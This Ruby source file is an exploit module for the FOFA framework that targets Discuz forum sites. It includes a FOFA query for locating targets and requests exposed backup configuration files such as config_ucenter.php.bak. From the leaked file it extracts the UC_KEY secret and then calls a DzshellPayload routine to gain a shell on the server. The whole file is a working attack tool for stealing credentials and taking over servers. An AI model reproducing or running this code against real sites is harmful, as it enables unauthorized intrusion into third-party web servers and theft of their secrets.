require 'fofa_core'
require 'payload/dzshell'

class String
  def string_between_markers marker1, marker2
    self[/#{Regexp.escape(marker1)}(.*?)#{Regexp.escape(marker2)}/m, 1]
  end
end

class FofaExploits < Fofa::Exploit
  def initialize(info = {})
    super(
      'Name' => 'discuz敏感文件备份',
      'Description' => %q{
discuz存在一些敏感文件，如果存在备份的话，可能导致命令执行。
          },
      'Author' =>
          [
              'LubyRuffy',
          ],
      'Product' => 'discuz',
      'Homepage' => 'http://www.discuz.com/',
      'References' =>
          [
              ['-'],
          ],
      'DisclosureDate'=> '2013-12-11',
      'FofaQuery'=>'title="Powered by Discuz" || body="content=\"Discuz" || (body="discuz_uid" && body="portal.php?mod=view") || body="Powered by <strong><a href=\"http://www.discuz.net"',
      'ScanSteps' =>
          [
=begin
            'OR',
            {
              'Request'=>
                 {
                    method: 'GET',
                    uri: '/config/config_global.php.bak',
                 },
              'ResponseTest'=> {
                  type: 'group',
                  operation: 'AND',
                  checks: [
                    {
                        type: 'item',
                        varibale: '$code',
                        operation: '==',
                        value: 200
                    },
                    {
                      type: 'item',
                      varibale: '$body',
                      operation: 'contains',
                      value: '<?php'
                    }
                  ]
              }
            },
            {
                'Request'=>
                    {
                        method: 'GET',
                        uri: '/uc_server/data/config.inc.php.bak',
                    },
                'ResponseTest'=> {
                    type: 'group',
                    operation: 'AND',
                    checks: [
                        {
                            type: 'item',
                            varibale: '$code',
                            operation: '==',
                            value: 200
                        },
                        {
                            type: 'item',
                            varibale: '$body',
                            operation: 'contains',
                            value: '<?php'
                        }
                    ]
                }
            },
=end
            {
                'Request'=>
                    {
                        method: 'GET',
                        uri: '/config/config_ucenter.php.bak',
                    },
                'ResponseTest'=> {
                    type: 'group',
                    operation: 'AND',
                    checks: [
                        {
                            type: 'item',
                            varibale: '$code',
                            operation: '==',
                            value: 200
                        },
                        {
                            type: 'item',
                            varibale: '$body',
                            operation: 'contains',
                            value: '<?php'
                        }
                    ]
                }
            },

          ]
    )
  end

  def vulnerable(hostinfo)
    excute_scansteps(hostinfo) if @info['ScanSteps']
  end

  def exploit(hostinfo)
    if vulnerable(hostinfo)
      http = Fofa::Exploit.lasthttp
      #puts http
      uc_key = http[:utf8html].string_between_markers("UC_KEY', '", "')")
      #puts "key:"+uc_key
      shell = DzshellPayload.getshell(hostinfo, uc_key)
    else
      puts "not vulnerable!"
    end

  end
end
